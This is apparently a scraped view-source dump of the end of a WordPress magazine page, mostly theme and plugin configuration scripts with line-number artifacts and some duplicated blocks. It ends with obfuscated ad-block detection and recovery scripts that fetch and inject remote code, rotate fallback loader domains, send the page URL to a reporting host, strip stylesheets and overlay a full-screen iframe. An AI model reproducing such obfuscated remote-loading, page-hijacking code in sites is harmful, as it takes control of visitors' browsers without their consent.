failed!","shapes_url":"https://canvasrebel.com/wp-content/themes/kicker/skins/politics/trx_addons/css/shapes/","add_to_links_url":[{"slug":"elementor","mask":"elementor.com/","link":"https://be.elementor.com/visit/?bta=2496&nci=5383&brand=elementor&utm_campaign=theme","args":{"afp":"trx25","landingPage":"@href"}}],"elementor_stretched_section_container":".page_wrap","pagebuilder_preview_mode":"","elementor_animate_items":".elementor-heading-title,.sc_item_subtitle,.sc_item_title,.sc_item_descr,.sc_item_posts_container + .sc_item_button,.sc_item_button.sc_title_button,nav \u003E ul \u003E li","elementor_animate_as_text":{"elementor-heading-title":"line,word,char","sc_item_title":"line,word,char"},"elementor_breakpoints":{"desktop":999999,"tablet":1023,"mobile":767},"elementor_placeholder_image":"https://canvasrebel.com/wp-content/plugins/elementor/assets/images/placeholder.png","animate_to_mc4wp_form_submitted":"1","msg_no_products_found":"No products found! Please, change query parameters and try again.","ai_helper_sc_igenerator_open
1635ai_sizes":[],"msg_ai_helper_igenerator_download":"Download","msg_ai_helper_igenerator_download_error":"Error","msg_ai_helper_igenerator_download_expired":"The generated image cache timed out. The download link is no longer valid.\u003Cbr\u003EBut you can still download the image by right-clicking on it and selecting \"Save Image As...\"","msg_ai_helper_igenerator_disabled":"Image generation is not available in edit mode!","msg_ai_helper_igenerator_wait_available":"Wait for the image to become available on the rendering server","msg_ai_helper_sc_chat_clear":"Clear","msg_ai_helper_mgenerator_download":"Download","msg_ai_helper_mgenerator_download_error":"Error","msg_ai_helper_mgenerator_download_expired":"The generated music cache timed out. The download link is no longer valid.\u003Cbr\u003EBut you can still download the music by right-clicking on it and selecting \"Save Media As...\"","msg_ai_helper_mgenerator_disabled":"Music generation is not available in edit mode!","msg_ai_helper_mgenerator_fetch_error":"Error updating the tag audio on this page - object is not found!","msg_ai_helper_agenerator_download":"Download","msg_ai_helper_agenerator_download_error":"Error","msg_ai_helper_agenerator_download_expired":"The generated audio cache timed out. The download link is no longer valid.\u003Cbr\u003EBut you can still download the file by right-clicking on it and selecting \"Save Media As...\"","msg_ai_helper_agenerator_disabled":"Audio generation is not available in edit mode!","msg_ai_helper_agenerator_fetch_error":"Error updating the tag audio on this page - object is not found!","msg_ai_helper_vgenerator_download":"Download","msg_ai_helper_vgenerator_download_error":"Error","msg_ai_helper_vgenerator_download_expired":"The generated video cache timed out. The download link is no longer valid.\u003Cbr\u003EBut you can still download the video by right-clicking on it and selecting \"Save Video As...\"","msg_ai_helper_vgenerator_disabled":"Video generation is not available in edit mode!","msg_ai_helper_vgenerator_wait_available":"Wait for the video to become available on the rendering server","ai_helper_vgenerator_models_supporting_keyframes":["lumalabs-ai/ray-2","lumalabs-ai/ray-flash-2"],"ai_helper_vgenerator_models_supporting_duration":["lumalabs-ai/ray-2","lumalabs-ai/ray-flash-2"],"ai_helper_vgenerator_models_supporting_resolution":["lumalabs-ai/ray-2","lumalabs-ai/ray-flash-2"],"scroll_to_anchor":"0","update_location_from_anchor":"0","slider_round_lengths":"1"}; 1636//# sourceURL=trx_addons-js-extra 1637</script>
vendor: 1 bytes, line 1637
1637
1638<script id="trx_addons-js" defer="defer" src="https://canvasrebel.com/wp-content/plugins/trx_addons/js/__scripts.js"></script>
vendor: 1 bytes, line 1638
1638
1639<script id="superfish-js" defer="defer" src="https://canvasrebel.com/wp-content/plugins/trx_addons/components/cpt/layouts/shortcodes/menu/superfish.min.js"></script>
vendor: 1 bytes, line 1639
1639
1640<script id="tweenmax-js" src="https://canvasrebel.com/wp-content/plugins/trx_addons/js/tweenmax/GSAP/3.12.2/gsap.min.js"></script>
vendor: 1 bytes, line 1640
1640
1641<script id="canvasrebel-main-js-js" defer="defer" src="https://canvasrebel.com/wp-content/themes/kicker-child/package-main/assets/js/main.js?ver=53481"></script>
vendor: 1 bytes, line 1641
1641
1642<script id="kicker-init-js-extra"> 1643var KICKER_STORAGE = {"ajax_url":"https://canvasrebel.com/wp-admin/admin-ajax.php","ajax_nonce":"f9294a70c9","home_url":"https://canvasrebel.com","theme_url":"https://canvasrebel.com/wp-content/themes/kicker/","site_scheme":"scheme_default","user_logged_in":"","mobile_layout_width":"768","mobile_device":"","mobile_breakpoint_underpanels_off":"768","mobile_breakpoint_fullheight_off":"1025","menu_side_stretch":"","menu_side_icons":"","background_video":"","use_mediaelements":"1","resize_tag_video":"","resize_tag_iframe":"1","open_full_post":"","which_block_load":"article","admin_mode":"","msg_ajax_error":"Invalid server answer!","msg_i_agree_error":"Please accept the terms of our Privacy Policy.","submenu_not_allowed":"Custom submenu can not be used in this widget","alter_link_color":"#EE4D45","button_hover":"default"}; 1644//# sourceURL=kicker-init-js-extra 1645</script>
vendor: 1 bytes, line 1645
1645
1646<script id="kicker-init-js" defer="defer" src="https://canvasrebel.com/wp-content/themes/kicker/js/__scripts.js"></script>
vendor: 1 bytes, line 1646
1646
1647<script id="mediaelement-core-js-before"> 1648var mejsL10n = {"language":"en","strings":{"mejs.download-file":"Download File","mejs.install-flash":"You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/","mejs.fullscreen":"Fullscreen","mejs.play":"Play","mejs.pause":"Pause","mejs.time-slider":"Time Slider","mejs.time-help-text":"Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.","mejs.live-broadcast":"Live Broadcast","mejs.volume-help-text":"Use Up/Down Arrow keys to increase or decrease volume.","mejs.unmute":"Unmute","mejs.mute":"Mute","mejs.volume-slider":"Volume Slider","mejs.video-player":"Video Player","mejs.audio-player":"Audio Player","mejs.captions-subtitles":"Captions/Subtitles","mejs.captions-chapters":"Chapters","mejs.none":"None","mejs.afrikaans":"Afrikaans","mejs.albanian":"Albanian","mejs.arabic":"Arabic","mejs.belarusian":"Belarusian","mejs.bulgarian":"Bulgarian","mejs.catalan":"Catalan","mejs.chinese":"Chinese","mejs.chinese-simplified":"Chinese (Simplified)","mejs.chinese-traditional":"Chinese (Traditional)","mejs.croatian":"Croatian","mejs.czech":"Czech","mejs.danish":"Danish","mejs.dutch":"Dutch","mejs.english":"English","mejs.estonian":"Estonian","mejs.filipino":"Filipino","mejs.finnish":"Finnish","mejs.french":"French","mejs.galician":"Galician","mejs.german":"German","mejs.greek":"Greek","mejs.haitian-creole":"Haitian Creole","mejs.hebrew":"Hebrew","mejs.hindi":"Hindi","mejs.hungarian":"Hungarian","mejs.icelandic":"Icelandic","mejs.indonesian":"Indonesian","mejs.irish":"Irish","mejs.italian":"Italian","mejs.japanese":"Japanese","mejs.korean":"Korean","mejs.latvian":"Latvian","mejs.lithuanian":"Lithuanian","mejs.macedonian":"Macedonian","mejs.malay":"Malay","mejs.maltese":"Maltese","mejs.norwegian":"Norwegian","mejs.persian":"Persian","mejs.polish":"Polish","mejs.portuguese":"Portuguese","mejs.romanian":"Romanian","mejs.russian":"Russian","mejs.serbian":"Serbian","mejs.slovak":"Slovak","mejs.slovenian":"Slovenian","mejs.spanish":"Spanish","mejs.swahili":"Swahili","mejs.swedish":"Swedish","mejs.tagalog":"Tagalog","mejs.thai":"Thai","mejs.turkish":"Turkish","mejs.ukrainian":"Ukrainian","mejs.vietnamese":"Vietnamese","mejs.welsh":"Welsh","mejs.yiddish":"Yiddish"}}; 1649//# sourceURL=mediaelement-core-js-before 1650</script>
vendor: 1 bytes, line 1650
1650
1651<script id="mediaelement-core-js" defer="defer" src="https://canvasrebel.com/wp-includes/js/mediaelement/mediaelement-and-player.min.js?ver=4.2.17"></script>
vendor: 1 bytes, line 1651
1651
1652<script id="mediaelement-migrate-js" defer="defer" src="https://canvasrebel.com/wp-includes/js/mediaelement/mediaelement-migrate.min.js?ver=4eccbeb59b33e14c32efe5f7a9710e41"></script>
vendor: 1 bytes, line 1652
1652
1653<script id="mediaelement-js-extra"> 1654var _wpmejsSettings = {"pluginPath":"/wp-includes/js/mediaelement/","classPrefix":"mejs-","stretching":"responsive","audioShortcodeLibrary":"mediaelement","videoShortcodeLibrary":"mediaelement"}; 1655//# sourceURL=mediaelement-js-extra 1656</script>
vendor: 1 bytes, line 1656
1656
1657<script id="wp-mediaelement-js" defer="defer" src="https://canvasrebel.com/wp-includes/js/mediaelement/wp-mediaelement.min.js?ver=4eccbeb59b33e14c32efe5f7a9710e41"></script>
vendor: 1 bytes, line 1657
1657
1658<script id="kicker-skin-politics-js" defer="defer" src="https://canvasrebel.com/wp-content/themes/kicker/skins/politics/skin.js"></script>
vendor: 1 bytes, line 1658
1658
1659<script id="elementor-webpack-runtime-js" src="https://canvasrebel.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=4.2.4"></script>
vendor: 1 bytes, line 1659
1659
1660<script id="elementor-frontend-modules-js" src="https://canvasrebel.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=4.2.4"></script>
vendor: 1 bytes, line 1660
1660
1661<script id="jquery-ui-core-js-before"> 1662jQuery.uiBackCompat = true; 1663//# sourceURL=jquery-ui-core-js-before 1664</script>
vendor: 1 bytes, line 1664
1664
1665<script id="jquery-ui-core-js" src="https://canvasrebel.com/wp-includes/js/jquery/ui/core.min.js?ver=1.14.2"></script>
vendor: 1 bytes, line 1665
1665
1666<script id="elementor-frontend-js-before"> 1667var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Share on Facebook","shareOnX":"Share on X","pinIt":"Pin it","download":"Download","downloadImage":"Download image","fullscreen":"Fullscreen","zoom":"Zoom","share":"Share","playVideo":"Play Video","previous":"Previous","next":"Next","close":"Close","a11yCarouselPrevSlideMessage":"Previous slide","a11yCarouselNextSlideMessage":"Next slide","a11yCarouselFirstSlideMessage":"This is the first slide","a11yCarouselLastSlideMessage":"This is the last slide","a11yCarouselPaginationBulletMessage":"Go to slide"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1024,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1023,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Widescreen","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},"hasCustomBreakpoints":true},"version":"4.2.4","is_static":false,"experimentalFeatures":{"e_font_icon_svg":true,"additional_custom_breakpoints":true,"e_panel_promotions":true,"theme_builder_v2":true,"global_classes_should_enforce_capabilities":true,"e_variables":true,"e_opt_in_v4_page":true,"e_components":true,"e_interactions":true,"e_widget_creation":true,"import-export-customization":true,"e_pro_atomic_form":true,"e_pro_collection_loop":true,"e_pro_variables":true,"e_pro_interactions":true},"urls":{"assets":"https:\/\/canvasrebel.com\/wp-content\/plugins\/elementor\/assets\/","ajaxurl":"https:\/\/canvasrebel.com\/wp-admin\/admin-ajax.php","uploadUrl":"https:\/\/canvasrebel.com\/wp-content\/uploads"},"nonces":{"floatingButtonsClickTracking":"9b44d881c6","atomicFormsSendForm":"9cd779ffe8"},"swiperClass":"swiper","settings":{"editorPreferences":[]},"kit":{"stretched_section_container":".page_wrap","viewport_tablet":1023,"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description"},"post":{"id":0,"title":"Strategy – CanvasRebel Magazine","excerpt":""}}; 1668var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Share on Facebook","shareOnX":"Share on X","pinIt":"Pin it","download":"Download","downloadImage":"Download image","fullscreen":"Fullscreen","zoom":"Zoom","share":"Share","playVideo":"Play Video","previous":"Previous","next":"Next","close":"Close","a11yCarouselPrevSlideMessage":"Previous slide","a11yCarouselNextSlideMessage":"Next slide","a11yCarouselFirstSlideMessage":"This is the first slide","a11yCarouselLastSlideMessage":"This is the last slide","a11yCarouselPaginationBulletMessage":"Go to slide"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1024,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1023,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Widescreen","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},"hasCustomBreakpoints":true},"version":"4.2.4","is_static":false,"experimentalFeatures":{"e_font_icon_svg":true,"additional_custom_breakpoints":true,"e_panel_promotions":true,"theme_builder_v2":true,"global_classes_should_enforce_capabilities":true,"e_variables":true,"e_opt_in_v4_page":true,"e_components":true,"e_interactions":true,"e_widget_creation":true,"import-export-customization":true,"e_pro_atomic_form":true,"e_pro_collection_loop":true,"e_pro_variables":true,"e_pro_interactions":true},"urls":{"assets":"https:\/\/canvasrebel.com\/wp-content\/plugins\/elementor\/assets\/","ajaxurl":"https:\/\/canvasrebel.com\/wp-admin\/admin-ajax.php","uploadUrl":"https:\/\/canvasrebel.com\/wp-content\/uploads"},"nonces":{"floatingButtonsClickTracking":"9b44d881c6","atomicFormsSendForm":"9cd779ffe8"},"swiperClass":"swiper","settings":{"editorPreferences":[]},"kit":{"stretched_section_container":".page_wrap","viewport_tablet":1023,"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description"},"post":{"id":0,"title":"Strategy – CanvasRebel Magazine","excerpt":""}}; 1669//# sourceURL=elementor-frontend-js-before 1670</script>
vendor: 1 bytes, line 1670
1670
1671<script id="elementor-frontend-js" src="https://canvasrebel.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=4.2.4"></script>
vendor: 1 bytes, line 1671
1671
1672<script id="smartmenus-js" src="https://canvasrebel.com/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js?ver=1.2.1"></script>
vendor: 1 bytes, line 1672
1672
1673<script id="elementor-pro-webpack-runtime-js" src="https://canvasrebel.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=4.2.3"></script>
vendor: 1 bytes, line 1673
1673
1674<script id="wp-hooks-js" src="https://canvasrebel.com/wp-includes/js/dist/hooks.min.js?ver=f0f188028580e8dc1255"></script>
vendor: 1 bytes, line 1674
1674
1675<script id="wp-i18n-js" src="https://canvasrebel.com/wp-includes/js/dist/i18n.min.js?ver=1dfe7db3940c23ea9216"></script>
vendor: 1 bytes, line 1675
1675
1676<script id="wp-i18n-js-after"> 1677wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); 1678//# sourceURL=wp-i18n-js-after 1679</script>
vendor: 1 bytes, line 1679
1679
1680<script id="elementor-pro-frontend-js-before"> 1681var ElementorProFrontendConfig = {"ajaxurl":"https:\/\/canvasrebel.com\/wp-admin\/admin-ajax.php","nonce":"1231df326a","urls":{"assets":"https:\/\/canvasrebel.com\/wp-content\/plugins\/elementor-pro\/assets\/","rest":"https:\/\/canvasrebel.com\/wp-json\/"},"settings":{"lazy_load_background_images":true},"popup":{"hasPopUps":false},"shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"mix":{"title":"Mix"},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"},"x-twitter":{"title":"X"},"threads":{"title":"Threads"}},"facebook_sdk":{"lang":"en_US","app_id":""},"lottie":{"defaultAnimationUrl":"https:\/\/canvasrebel.com\/wp-content\/plugins\/elementor-pro\/modules\/lottie\/assets\/animations\/default.json"}}; 1682var ElementorProFrontendConfig = {"ajaxurl":"https:\/\/canvasrebel.com\/wp-admin\/admin-ajax.php","nonce":"1231df326a","urls":{"assets":"https:\/\/canvasrebel.com\/wp-content\/plugins\/elementor-pro\/assets\/","rest":"https:\/\/canvasrebel.com\/wp-json\/"},"settings":{"lazy_load_background_images":true},"popup":{"hasPopUps":false},"shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"mix":{"title":"Mix"},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"},"x-twitter":{"title":"X"},"threads":{"title":"Threads"}},"facebook_sdk":{"lang":"en_US","app_id":""},"lottie":{"defaultAnimationUrl":"https:\/\/canvasrebel.com\/wp-content\/plugins\/elementor-pro\/modules\/lottie\/assets\/animations\/default.json"}}; 1683//# sourceURL=elementor-pro-frontend-js-before 1684</script>
vendor: 1 bytes, line 1684
1684
1685<script id="elementor-pro-frontend-js" src="https://canvasrebel.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=4.2.3"></script>
vendor: 1 bytes, line 1685
1685
1686<script id="pro-elements-handlers-js" src="https://canvasrebel.com/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=4.2.3"></script>
vendor: 1 bytes, line 1686
1686
1687<script id="wp-emoji-settings" type="application/json"> 1688{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://canvasrebel.com/wp-includes/js/wp-emoji-release.min.js?ver=4eccbeb59b33e14c32efe5f7a9710e41"}} 1689</script>
vendor: 1 bytes, line 1689
1689
1690<script type="module"> 1691/*! This file is auto-generated */ 1692var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))}); 1693//# sourceURL=https://canvasrebel.com/wp-includes/js/wp-emoji-loader.min.js 1694</script>
vendor: 1 bytes, line 1694
1694
1695<script data-no-optimize='1' data-cfasync='false' id='adblock-detection-e328f0f'>(function(){(function(e){if(e.cookie.indexOf(`__adblocker`)===-1){let t=!1,n=function(){t=!0};window.addEventListener(`pagehide`,n);let r=navigator.userAgent,i=/AppleWebKit/.test(r)&&!/Chrome/.test(r)||/\b(iPad|iPhone|iPod)\b/.test(r),a=new XMLHttpRequest;a.open(`GET`,`https://ads.adthrive.com/abd/abd.js`,!0),a.onreadystatechange=function(){if(a.readyState===4){if(window.removeEventListener(`pagehide`,n),a.status===200){let t=e.createElement(`script`);t.innerHTML=a.responseText,e.getElementsByTagName(`head`)[0].appendChild(t);return}if(!navigator.onLine||t||i&&e.visibilityState===`hidden`)return;let r=new Date;r.setTime(r.getTime()+300*1e3),e.cookie=`__adblocker=true; expires=`+r.toUTCString()+`; path=/`}},a.send()}})(document)})();</script>
1695<script data-no-optimize='1' data-cfasync='false' data-abr-mode='light' id='adblock-recovery-e328f0f'>(function(){(function(){var e=document.currentScript,t=e&&e.dataset&&e.dataset.abrMode?e.dataset.abrMode:`light`;function n(){var e=document.cookie.match(`(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)`);return e&&e.pop()}function r(){var e=document.createElement(`script`);e.async=!0,e.id=`Tqgkgu`,e.setAttribute(`data-sdk`,`l/1.1.15`),e.setAttribute(`data-cfasync`,`false`),e.src=`https://html-load.com/loader.min.js`,e.charset=`UTF-8`,e.setAttribute(`data`,`kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8`),e.setAttribute(`onload`,`(async()=>{let e='html-'+'load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();`),e.setAttribute(`onerror`,`(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();`),document.head.appendChild(e);var t=document.createElement(`script`);t.setAttribute(`data-cfasync`,`false`),t.setAttribute(`nowprocket`,``),t.textContent=`(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = 